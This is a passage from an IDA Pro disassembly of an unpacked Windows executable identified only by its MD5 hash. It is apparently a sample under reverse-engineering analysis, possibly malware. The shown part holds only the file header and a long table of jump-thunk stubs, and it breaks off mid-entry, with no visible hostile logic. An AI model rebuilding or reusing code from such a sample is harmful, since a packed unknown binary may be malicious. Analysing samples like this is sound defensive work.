; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : C1D7CC8D6DBB40A9EFE3721D7E01ED19 ; File Name : u:\work\c1d7cc8d6dbb40a9efe3721d7e01ed19_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00110000 (1114112.) ; Section size in file : 00110000 (1114112.) ; Offset to raw data for section: 00001000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute ___ segment para public 'CODE' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing db 5 dup(0CCh) ; --------------------------------------------------------------------------- jmp loc_42F630 ; --------------------------------------------------------------------------- loc_40100A: ; DATA XREF: ___:off_43E09Co jmp loc_412CB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40100F proc near ; CODE XREF: sub_421AF0+29p jmp sub_422050 sub_40100F endp ; --------------------------------------------------------------------------- jmp loc_431250 ; --------------------------------------------------------------------------- jmp loc_420DA0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40101E proc near ; CODE XREF: ___:004118E3p jmp sub_411910 sub_40101E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401023 proc near ; CODE XREF: ___:0040B1BDp ; ___:0040B1CAp ... jmp sub_403C00 sub_401023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401028 proc near ; CODE XREF: sub_41FA90+34p jmp sub_40B000 sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40102D proc near ; CODE XREF: sub_404C70+619p ; sub_404C70+6D8p ... jmp sub_40A030 sub_40102D endp ; --------------------------------------------------------------------------- jmp sub_42A100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401037 proc near ; CODE XREF: sub_413510+3Bp ; ___:00414B30p jmp sub_4155E0 sub_401037 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40103C proc near ; CODE XREF: sub_42F840+6Ep ; sub_42F840+8Ap ... jmp sub_432FE0 sub_40103C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401041 proc near ; CODE XREF: ___:0042EF22p ; sub_42F840+3Fp ... jmp sub_432E60 sub_401041 endp ; --------------------------------------------------------------------------- jmp loc_423940 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40104B proc near jmp sub_40D130 sub_40104B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401050 proc near ; CODE XREF: sub_40B000+3Ap ; sub_40B070+1Ap jmp sub_432980 sub_401050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401055 proc near ; CODE XREF: sub_41E660+37Bp jmp sub_421C30 sub_401055 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105A proc near ; CODE XREF: sub_40C0C0+8p jmp sub_40C280 sub_40105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40105F proc near ; CODE XREF: sub_431900+5Ap ; sub_433710+50p jmp sub_4318C0 sub_40105F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401064 proc near ; DATA XREF: ___:off_43E07Co jmp sub_41C610 sub_401064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401069 proc near ; CODE XREF: ___:00416EAAp jmp sub_41FBD0 sub_401069 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40106E proc near ; CODE XREF: sub_40BF60+32p jmp sub_40C120 sub_40106E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401073 proc near ; CODE XREF: ___:00416EBAp jmp sub_418290 sub_401073 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401078 proc near ; CODE XREF: sub_415830+5Ep ; sub_416280+32p jmp sub_4161C0 sub_401078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40107D proc near ; CODE XREF: sub_41E660+161p ; sub_4223E0+3p jmp sub_421A50 sub_40107D endp ; --------------------------------------------------------------------------- jmp loc_41ACE0 ; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40108C proc near ; CODE XREF: sub_421C30+3p ; ___:00421FFFp ... jmp sub_422170 sub_40108C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401091 proc near ; CODE XREF: sub_40C400+43p jmp sub_40CAD0 sub_401091 endp ; --------------------------------------------------------------------------- jmp sub_427FF0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40109B proc near ; CODE XREF: sub_407570+Ap jmp sub_407610 sub_40109B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A0 proc near ; CODE XREF: sub_4245F0+23p ; sub_424790+6p ... jmp sub_424500 sub_4010A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010A5 proc near ; CODE XREF: sub_430C00+F5p ; sub_430C00+14Fp jmp sub_432DF0 sub_4010A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AA proc near ; CODE XREF: sub_4331D0+C8p jmp sub_430990 sub_4010AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010AF proc near ; DATA XREF: ___:0043E174o jmp sub_429DC0 sub_4010AF endp ; --------------------------------------------------------------------------- loc_4010B4: ; DATA XREF: ___:off_43E0A0o jmp loc_41E2C0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010B9 proc near ; CODE XREF: sub_418330+D0p ; sub_418490+2Dp jmp sub_418A20 sub_4010B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010BE proc near ; CODE XREF: sub_40FF60+8D9p ; sub_40FF60+990p ... jmp sub_411860 sub_4010BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C3 proc near ; CODE XREF: ___:0042F336p ; ___:0042F3A4p ... jmp sub_430F00 sub_4010C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010C8 proc near ; CODE XREF: sub_421D50+9p ; sub_422240+18p jmp sub_4223C0 sub_4010C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010CD proc near ; CODE XREF: sub_40A9F0+58p ; sub_40A9F0+82p ... jmp sub_40ABE0 sub_4010CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010D2 proc near ; CODE XREF: sub_422A40+3F1p ; ___:00423AA6p ... jmp sub_419AE0 sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010D7 proc near ; CODE XREF: sub_416010+7p jmp sub_416640 sub_4010D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010DC proc near ; CODE XREF: sub_415520+4Fp ; sub_415E70+11p ... jmp sub_4160C0 sub_4010DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010E1 proc near ; CODE XREF: sub_429C30+58p jmp sub_429AA0 sub_4010E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4010E6 proc near ; CODE XREF: sub_421870+1Fp jmp sub_421CB0 sub_4010E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010EB proc near ; CODE XREF: sub_421FB0+11p ; ___:00421FD7p ... jmp sub_4224D0 sub_4010EB endp ; --------------------------------------------------------------------------- jmp loc_413D60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010F5 proc near ; CODE XREF: sub_421A30+3p ; ___:00421D9Fp ... jmp sub_421F10 sub_4010F5 endp ; --------------------------------------------------------------------------- jmp loc_414400 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4010FF proc near ; CODE XREF: sub_426F20+3p jmp sub_426F50 sub_4010FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401104 proc near ; CODE XREF: sub_415A00+11p ; ___:00415A27p ... jmp sub_416470 sub_401104 endp ; --------------------------------------------------------------------------- jmp loc_433310 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40110E proc near ; CODE XREF: sub_421B60+5p ; sub_421C50+6p ... jmp sub_422150 sub_40110E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401113 proc near ; CODE XREF: ___:00416A5Bp ; ___:00439F5Ej ... jmp sub_417A60 sub_401113 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401118 proc near ; CODE XREF: sub_404C70+6Ap ; sub_404C70+1AFp ... jmp sub_412970 sub_401118 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40111D proc near ; DATA XREF: ___:off_43E074o jmp sub_4192C0 sub_40111D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401122 proc near ; CODE XREF: sub_431A20+6p ; ___:00431A33p ... jmp sub_42F480 sub_401122 endp ; --------------------------------------------------------------------------- jmp loc_42E3D0 ; --------------------------------------------------------------------------- loc_40112C: ; DATA XREF: ___:off_43E15Co jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401131 proc near ; CODE XREF: ___:00423C9Dp jmp sub_423760 sub_401131 endp ; --------------------------------------------------------------------------- jmp loc_431F50 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40113B proc near ; CODE XREF: ___:004150A8p jmp sub_415990 sub_40113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401140 proc near ; CODE XREF: sub_41B950+F7p ; sub_41B950+10Bp ... jmp sub_409EA0 sub_401140 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401145 proc near ; CODE XREF: sub_409910+Ap jmp sub_409A00 sub_401145 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114A proc near ; CODE XREF: sub_4133D0+55p ; sub_4133D0+94p ... jmp sub_415770 sub_40114A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40114F proc near ; CODE XREF: sub_425020+183p jmp sub_4235F0 sub_40114F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401154 proc near ; CODE XREF: ___:00414BBEp jmp sub_415520 sub_401154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401159 proc near ; CODE XREF: sub_427600+3p jmp sub_427630 sub_401159 endp ; --------------------------------------------------------------------------- loc_40115E: ; DATA XREF: ___:off_43E038o jmp loc_4118E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401163 proc near ; CODE XREF: sub_415DD0+11p ; ___:00415DF7p ... jmp sub_4165F0 sub_401163 endp ; --------------------------------------------------------------------------- jmp loc_41D730 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40116D proc near ; CODE XREF: sub_418B10+23p ; sub_418D80+11p jmp sub_418E60 sub_40116D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401172 proc near ; CODE XREF: sub_418A90+3p ; sub_418E90+54p ... jmp sub_418CE0 sub_401172 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401177 proc near ; CODE XREF: sub_409600+6Ap ; sub_409600+103p jmp sub_4098A0 sub_401177 endp ; --------------------------------------------------------------------------- jmp loc_432840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401181 proc near ; CODE XREF: ___:00413D7Dp jmp sub_413B70 sub_401181 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401186 proc near ; CODE XREF: ___:0041A1E4p jmp sub_41AFE0 sub_401186 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40118B proc near ; CODE XREF: sub_4133D0+88p ; sub_4147D0+BFp ... jmp sub_415930 sub_40118B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401190 proc near ; CODE XREF: sub_42F480+7p ; sub_42F4F0+19p ... jmp sub_4338B0 sub_401190 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401195 proc near jmp sub_40DB10 sub_401195 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40119A proc near ; CODE XREF: ___:004310AAp jmp sub_430A50 sub_40119A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40119F proc near ; CODE XREF: sub_4071E0+11p ; sub_407370+1Fp jmp sub_407410 sub_40119F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A4 proc near ; CODE XREF: sub_4036D0+3B5p ; sub_4036D0+3C5p ... jmp sub_403E00 sub_4011A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011A9 proc near ; CODE XREF: sub_421C10+3p jmp sub_422190 sub_4011A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011AE proc near ; CODE XREF: sub_40C250+Ap jmp sub_40C310 sub_4011AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011B3 proc near ; CODE XREF: sub_4036D0+1Dp ; sub_407030+1Fp ... jmp sub_403C70 sub_4011B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011B8 proc near ; CODE XREF: ___:00413274p ; ___:0043998Cj ... jmp sub_4153B0 sub_4011B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011BD proc near ; CODE XREF: sub_42B350+3p jmp sub_42B380 sub_4011BD endp ; --------------------------------------------------------------------------- jmp loc_40AF00 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011C7 proc near ; CODE XREF: ___:00414BCDp jmp sub_414C70 sub_4011C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011CC proc near ; CODE XREF: sub_407610+7p ; sub_409A00+7p ... jmp sub_407640 sub_4011CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D1 proc near ; CODE XREF: sub_413510+73p ; ___:00414B6Dp ... jmp sub_415600 sub_4011D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011D6 proc near ; CODE XREF: sub_41E660+58p jmp sub_420530 sub_4011D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011DB proc near ; CODE XREF: sub_413DA0+84p jmp sub_4137E0 sub_4011DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E0 proc near ; CODE XREF: ___:00432428p jmp sub_42FD70 sub_4011E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011E5 proc near ; CODE XREF: sub_4074C0+8p jmp sub_4075A0 sub_4011E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011EA proc near ; CODE XREF: sub_404C70+9Fp ; sub_404C70+230p ... jmp sub_40A430 sub_4011EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4011EF proc near ; CODE XREF: sub_40A790+21p ; sub_40A9F0+A5p jmp sub_40A9D0 sub_4011EF endp ; --------------------------------------------------------------------------- jmp loc_40AF70 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011F9 proc near ; CODE XREF: sub_40A430+129p ; sub_40A810+4p ... jmp sub_40A7E0 sub_4011F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4011FE proc near ; DATA XREF: ___:off_43E0DCo jmp sub_426650 sub_4011FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401203 proc near ; CODE XREF: ___:004322BDp jmp sub_42FA70 sub_401203 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401208 proc near ; CODE XREF: sub_4072F0+3p ; ___:004073BFp ... jmp sub_407480 sub_401208 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40120D proc near ; CODE XREF: sub_41D830+346p ; sub_41D830+410p ... jmp sub_421870 sub_40120D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401212 proc near ; CODE XREF: sub_421AB0+11p ; sub_421FB0+1Fp jmp sub_4220E0 sub_401212 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401217 proc near ; CODE XREF: sub_42B4F0+3p jmp sub_42B520 sub_401217 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40121C proc near jmp sub_407790 sub_40121C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401221 proc near ; CODE XREF: sub_40C120+5Fp jmp sub_40C2F0 sub_401221 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401226 proc near ; CODE XREF: sub_4034E0+F6p ; sub_4034E0+12Ep ... jmp sub_409C30 sub_401226 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40122B proc near ; CODE XREF: sub_41E660+113p ; sub_41E660+124p jmp sub_421A30 sub_40122B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401230 proc near ; DATA XREF: ___:0043E060o jmp sub_41F860 sub_401230 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401235 proc near ; CODE XREF: ___:00416AFBp ; ___:00439ED2j ... jmp sub_4176B0 sub_401235 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40123A proc near ; CODE XREF: sub_40AEC0+Fp jmp sub_42FF50 sub_40123A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40123F proc near ; CODE XREF: sub_418B10+32p jmp sub_418D80 sub_40123F endp ; --------------------------------------------------------------------------- jmp loc_433570 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401249 proc near ; CODE XREF: sub_415420+5p ; sub_415620+6p ... jmp sub_416030 sub_401249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40124E proc near ; CODE XREF: sub_40BCB0+29p ; sub_40BDD0+29p jmp sub_40BF60 sub_40124E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401253 proc near ; CODE XREF: sub_41E660+3E9p ; ___:0043B1ABj jmp sub_421AF0 sub_401253 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401258 proc near ; CODE XREF: sub_4144D0+BFp jmp sub_415210 sub_401258 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40125D proc near ; CODE XREF: sub_4164E0+Ap jmp sub_416820 sub_40125D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401262 proc near ; CODE XREF: ___:00416B67p ; ___:00439E73j ... jmp sub_416FB0 sub_401262 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401267 proc near jmp sub_418330 sub_401267 endp ; --------------------------------------------------------------------------- jmp sub_416C30 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401271 proc near ; CODE XREF: ___:00416E1Fp jmp sub_417FD0 sub_401271 endp ; --------------------------------------------------------------------------- jmp loc_414690 ; --------------------------------------------------------------------------- jmp loc_42F030 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401280 proc near ; CODE XREF: sub_40FF60+387p ; sub_41EF30+21Dp ... jmp sub_41B6E0 sub_401280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401285 proc near ; CODE XREF: ___:00416E5Ap jmp sub_418180 sub_401285 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40128A proc near ; CODE XREF: sub_409490+8p jmp sub_4094E0 sub_40128A endp ; --------------------------------------------------------------------------- jmp loc_429A30 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401294 proc near ; CODE XREF: sub_409600+A5p ; sub_412BC0+21p jmp sub_409810 sub_401294 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401299 proc near ; CODE XREF: sub_404C70+385p ; sub_41D830+5AAp jmp sub_41C030 sub_401299 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40129E proc near ; CODE XREF: ___:00416D6Fp jmp sub_4036D0 sub_40129E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A3 proc near ; CODE XREF: sub_418BC0+23p ; sub_418E90+11p jmp sub_418FE0 sub_4012A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012A8 proc near ; CODE XREF: sub_424840+Cp ; sub_424840+3Ep ... jmp sub_424330 sub_4012A8 endp ; --------------------------------------------------------------------------- jmp loc_42F670 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B2 proc near ; CODE XREF: sub_404C70+860p ; sub_404C70+ADCp ... jmp sub_40A290 sub_4012B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012B7 proc near ; CODE XREF: ___:0042EB16p ; ___:0042EB66p ... jmp sub_431490 sub_4012B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012BC proc near ; CODE XREF: sub_41E660+367p ; sub_41E660+3D4p ... jmp sub_421C80 sub_4012BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C1 proc near ; DATA XREF: sub_426A60+107o jmp sub_426CE0 sub_4012C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012C6 proc near ; CODE XREF: sub_424720+18p ; sub_424760+Ap ... jmp sub_4246D0 sub_4012C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012CB proc near ; CODE XREF: sub_416120+9p ; sub_4161C0+18p jmp sub_4167D0 sub_4012CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012D0 proc near ; DATA XREF: sub_431280+32o jmp sub_431A80 sub_4012D0 endp ; --------------------------------------------------------------------------- jmp loc_42EB60 ; --------------------------------------------------------------------------- jmp loc_419BB0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012DF proc near ; CODE XREF: sub_429AA0+67p jmp sub_41FEF0 sub_4012DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4012E4 proc near ; CODE XREF: ___:0042EEF8p ; sub_42F0B0+2p ... jmp sub_430270 sub_4012E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012E9 proc near ; CODE XREF: sub_413670+3Fp ; sub_4144D0+40p ... jmp sub_415160 sub_4012E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012EE proc near ; CODE XREF: sub_404640+19Fp ; sub_404640+212p ... jmp sub_409EF0 sub_4012EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F3 proc near ; CODE XREF: sub_424E90+B5p ; sub_424E90+F1p jmp sub_424E20 sub_4012F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012F8 proc near ; CODE XREF: sub_425020+127p jmp sub_424E90 sub_4012F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4012FD proc near ; CODE XREF: ___:00416E3Ap jmp sub_418080 sub_4012FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401302 proc near ; CODE XREF: ___:00416E0Fp jmp sub_417F10 sub_401302 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401307 proc near ; CODE XREF: sub_4303D0+1p jmp sub_430460 sub_401307 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40130C proc near ; CODE XREF: ___:00425F11p jmp sub_426450 sub_40130C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401311 proc near ; CODE XREF: sub_418330+71p ; sub_418330+BBp ... jmp sub_4189F0 sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401316 proc near ; CODE XREF: sub_40A0A0+7p jmp sub_40A0C0 sub_401316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40131B proc near ; CODE XREF: ___:004316D8p ; sub_431730+2Bp jmp sub_431900 sub_40131B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401320 proc near ; CODE XREF: sub_431280+1p jmp sub_4314C0 sub_401320 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp jmp sub_421BD0 sub_401325 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40132A proc near ; CODE XREF: sub_414360+5Bp jmp sub_415030 sub_40132A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40132F proc near ; CODE XREF: sub_4153B0+29p ; sub_4154D0+29p jmp sub_415F30 sub_40132F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401334 proc near ; CODE XREF: ___:00435F42p ; ___:00435F52p ... jmp sub_435E00 sub_401334 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401339 proc near ; CODE XREF: sub_4133D0+5Fp ; sub_4133D0+9Ep ... jmp sub_415960 sub_401339 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40133E proc near ; CODE XREF: sub_40B520+62p ; ___:0040B9E8p ... jmp sub_40BE60 sub_40133E endp ; --------------------------------------------------------------------------- jmp loc_4300C0 ; --------------------------------------------------------------------------- jmp loc_42EC40 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40134D proc near ; DATA XREF: ___:0043E1A8o jmp sub_42B3A0 sub_40134D endp ; --------------------------------------------------------------------------- jmp loc_42B2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401357 proc near ; CODE XREF: sub_416090+8p jmp sub_4166B0 sub_401357 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40135C proc near ; CODE XREF: sub_4133D0+71p ; sub_4133D0:loc_41349Cp ... jmp sub_415910 sub_40135C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401361 proc near ; CODE XREF: sub_418330+AFp ; sub_418FE0+3p jmp sub_418AB0 sub_401361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401366 proc near ; DATA XREF: ___:0043E104o jmp sub_426A60 sub_401366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40136B proc near ; CODE XREF: sub_40B520+39p ; sub_40B520+78p ... jmp sub_40BE90 sub_40136B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401370 proc near ; CODE XREF: sub_4257A0+29p ; sub_4257A0+38p jmp sub_4256B0 sub_401370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401375 proc near ; CODE XREF: sub_41A500+1Cp jmp sub_41A540 sub_401375 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40137A proc near ; DATA XREF: ___:0043E164o jmp sub_429C30 sub_40137A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40137F proc near ; CODE XREF: ___:00408BD9p ; ___:00414481p jmp sub_414230 sub_40137F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_401384 proc near ; CODE XREF: sub_418490+72p jmp sub_406C30 sub_401384 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401389 proc near ; CODE XREF: sub_409D20+7p ; sub_409E70+7p ... jmp sub_40A700 sub_401389 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40138E proc near ; DATA XREF: ___:off_43E080o jmp sub_422A40 sub_40138E endp ; --------------------------------------------------------------------------- jmp loc_413AE0 ; --------------------------------------------------------------------------- jmp sub_42B350 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40139D proc near ; CODE XREF: sub_418900+11p ; sub_421CB0+1Fp jmp sub_418C50 sub_40139D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B2D0 loc_4013A2: ; CODE XREF: sub_42B2D0+3j jmp sub_42A810 ; END OF FUNCTION CHUNK FOR sub_42B2D0 ; --------------------------------------------------------------------------- jmp sub_42B4F0 ; --------------------------------------------------------------------------- jmp loc_42EBB0 ; --------------------------------------------------------------------------- jmp loc_414A60 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013B6 proc near ; CODE XREF: sub_407290+1Fp jmp sub_407370 sub_4013B6 endp ; --------------------------------------------------------------------------- jmp loc_42E7B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4013C0 proc near ; CODE XREF: sub_40FD70+3p ; ___:00416AEBp ... jmp sub_40FDA0 sub_4013C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013C5 proc near ; CODE XREF: sub_425270+Cp ; sub_4253E0+Ap ... jmp sub_425230 sub_4013C5 endp ; --------------------------------------------------------------------------- jmp loc_40D2E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013CF proc near ; CODE XREF: sub_40A8C0+20p jmp sub_40A9F0 sub_4013CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4013D4 proc near ; CODE XREF: sub_40FF60+AFDp ; 